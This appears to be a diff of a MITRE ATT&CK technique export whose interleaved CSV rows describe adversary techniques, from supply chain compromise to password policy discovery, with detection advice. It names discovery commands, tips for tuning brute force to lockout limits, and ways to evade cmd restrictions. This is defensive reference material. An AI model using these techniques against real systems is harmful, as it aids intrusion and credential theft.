Manipulation of development tools +* Manipulation of a development environment +* Manipulation of source code repositories (public or private) +* Manipulation of source code in open-source dependencies +* Manipulation of software update/distribution mechanisms +* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) +* Replacement of legitimate software with modified versions +* Sales of modified/counterfeit products to legitimate distributors +* Shipment interdiction + +While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195', 'external_id': 'T1195'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/437.html', 'external_id': 'CAPEC-437'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/438.html', 'external_id': 'CAPEC-438'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/439.html', 'external_id': 'CAPEC-439'}, {'source_name': 'IBM Storwize', 'description': 'IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.', 'url': 'https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E'}, {'source_name': 'Schneider Electric USB Malware', 'description': 'Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.', 'url': 'https://www.se.com/ww/en/download/document/SESN-2018-236-01/'}, {'source_name': 'Avast CCleaner3 2018', 'description': 'Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', 'url': 'https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities'}, {'source_name': 'Microsoft Dofoil 2018', 'description': 'Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.', 'url': 'https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/'}, {'source_name': 'Command Five SK 2011', 'description': 'Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', 'url': 'https://www.commandfive.com/papers/C5_APT_SKHack.pdf'}, {'source_name': 'Symantec Elderwood Sept 2012', 'description': ""O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."", 'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'}, {'source_name': 'Trendmicro NPM Compromise', 'description': 'Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.', 'url': 'https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Veeral Patel'],,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.,False,,"['Linux', 'Windows', 'macOS']",1.2,,,,,,, +attack-pattern,attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-03-08T10:33:01.045Z,Trusted Relationship,"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. -Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1217', external_id='T1217')]",attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 16:06:07.367000+00:00,Browser Bookmark Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Mike Kemmerer'],"['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",,,,,"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). +Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1199', 'external_id': 'T1199'}, {'source_name': 'CISA IT Service Providers', 'description': 'CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.', 'url': 'https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation']",,"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.",False,,"['Windows', 'SaaS', 'IaaS', 'Linux', 'macOS']",2.2,,,,,,, +attack-pattern,attack-pattern--457c7820-d331-465a-915e-42f85500ccc4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-10-16T00:13:19.412Z,Signed Binary Proxy Execution,Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218', 'external_id': 'T1218'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nishan Maharjan, @loki248', 'Hans Christoffer Gaardløs', 'Praetorian']","['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Connection Creation']","['Anti-virus', 'Application control', 'Digital Certificate Validation']","Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. -System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",,,,,False,,,['User'],"['Linux', 'Windows', 'macOS']",,,,1.0 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. +Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",False,"['User', 'Administrator']",['Windows'],2.1,,,,,,, +attack-pattern,attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-08-26T16:42:35.936Z,User Execution,"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). + +While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204', 'external_id': 'T1204'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oleg Skulkin, Group-IB']","['Application Log: Application Log Content', 'Instance: Instance Start', 'Instance: Instance Creation', 'Image: Image Creation', 'Command: Command Execution', 'Container: Container Start', 'Container: Container Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Process: Process Creation']",,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",False,['User'],"['Linux', 'Windows', 'macOS', 'IaaS', 'Containers']",1.4,,,,,,, +attack-pattern,attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-10-16T01:35:43.938Z,Data from Information Repositories,"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: @@ -2888,82 +3154,49 @@ The following is a brief list of example information that may hold potential val * Source code snippets * Links to network shares and other internal resources -Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1213', external_id='T1213'), ExternalReference(source_name='Microsoft SharePoint Logging', description='Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', url='https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2'), ExternalReference(source_name='Atlassian Confluence Logging', description='Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', url='https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html')]",attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-04-14 14:16:12.151000+00:00,Data from Information Repositories,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Praetorian', 'Milos Stojadinovic']","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,,,,"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. - -The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",,,,,False,,,['User'],"['Linux', 'Windows', 'macOS', 'SaaS', 'Office 365', 'Google Workspace']",,,,3.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1212', external_id='T1212'), ExternalReference(source_name='Technet MS14-068', description='Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.', url='https://technet.microsoft.com/en-us/library/security/ms14-068.aspx'), ExternalReference(source_name='ADSecurity Detecting Forged Tickets', description='Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', url='https://adsecurity.org/?p=1515')]",attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-25 18:51:01.070000+00:00,Exploitation for Credential Access,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['John Lambert, Microsoft Threat Intelligence Center']",,,,,,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",,,,,False,,,['User'],"['Linux', 'Windows', 'macOS']",,,,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. - -Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1211', external_id='T1211')]",attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 20:00:46.900000+00:00,Exploitation for Defense Evasion,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['John Lambert, Microsoft Threat Intelligence Center']",,"['Anti-virus', 'System access controls']",,,,"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",,,,,False,,,['User'],"['Linux', 'Windows', 'macOS']",,,,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1200', external_id='T1200'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/440.html', external_id='CAPEC-440'), ExternalReference(source_name='Ossmann Star Feb 2011', description='Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.', url='https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html'), ExternalReference(source_name='Aleks Weapons Nov 2015', description='Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.', url='https://www.youtube.com/watch?v=lDvf4ScWbcQ'), ExternalReference(source_name='Hak5 RubberDuck Dec 2016', description='Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.', url='https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained'), ExternalReference(source_name='Frisk DMA August 2016', description='Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.', url='https://www.youtube.com/watch?v=fXthwl6ShOg'), ExternalReference(source_name='McMillan Pwn March 2012', description='Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.', url='https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/')]",attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-22 17:47:04.476000+00:00,Hardware Additions,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. +Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213', 'external_id': 'T1213'}, {'source_name': 'Microsoft SharePoint Logging', 'description': 'Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', 'url': 'https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2'}, {'source_name': 'Sharepoint Sharing Events', 'description': 'Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events'}, {'source_name': 'Atlassian Confluence Logging', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)', 'Regina Elwell', 'Isif Ibrahima', 'Praetorian', 'Milos Stojadinovic']","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. -Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",,,,,False,,,,"['Windows', 'Linux', 'macOS']",,,,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) - -Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1202', external_id='T1202'), ExternalReference(source_name='VectorSec ForFiles Aug 2017', description='vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.', url='https://twitter.com/vector_sec/status/896049052642533376'), ExternalReference(source_name='Evi1cg Forfiles Nov 2017', description='Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.', url='https://twitter.com/Evi1cg/status/935027922397573120'), ExternalReference(source_name='RSA Forfiles Aug 2017', description='Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.', url='https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe')]",attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:09:22.559000+00:00,Indirect Command Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Command: Command Execution']","['Static File Analysis', 'Application control', 'Application control by file name or path']",,,,"Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",,,,,False,,,['User'],['Windows'],,,,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). - -Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1201', external_id='T1201'), ExternalReference(source_name='Superuser Linux Password Policies', description='Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.', url='https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu'), ExternalReference(source_name='Jamf User Password Policies', description='Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.', url='https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines')]",attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-09-29 14:48:07.227000+00:00,Password Policy Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Sudhanshu Chauhan, @Sudhanshu_C']","['Process: Process Creation', 'Command: Command Execution']",,,,,Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.,,,,,False,,,['User'],"['Windows', 'Linux', 'macOS']",,,,1.2 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). +The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ",False,['User'],"['Linux', 'Windows', 'macOS', 'SaaS', 'Office 365', 'Google Workspace', 'IaaS']",3.2,,,,,,, +attack-pattern,attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-07-20T21:51:45.776Z,Exploit Public-Facing Application,"Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. -For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1190', external_id='T1190'), ExternalReference(source_name='NVD CVE-2016-6662', description='National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', url='https://nvd.nist.gov/vuln/detail/CVE-2016-6662'), ExternalReference(source_name='CIS Multiple SMB Vulnerabilities', description='CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', url='https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/'), ExternalReference(source_name='US-CERT TA18-106A Network Infrastructure Devices 2018', description='US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', url='https://us-cert.cisa.gov/ncas/alerts/TA18-106A'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'), ExternalReference(source_name='NVD CVE-2014-7169', description='National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', url='https://nvd.nist.gov/vuln/detail/CVE-2014-7169'), ExternalReference(source_name='OWASP Top 10', description='OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.', url='https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project'), ExternalReference(source_name='CWE top 25', description='Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 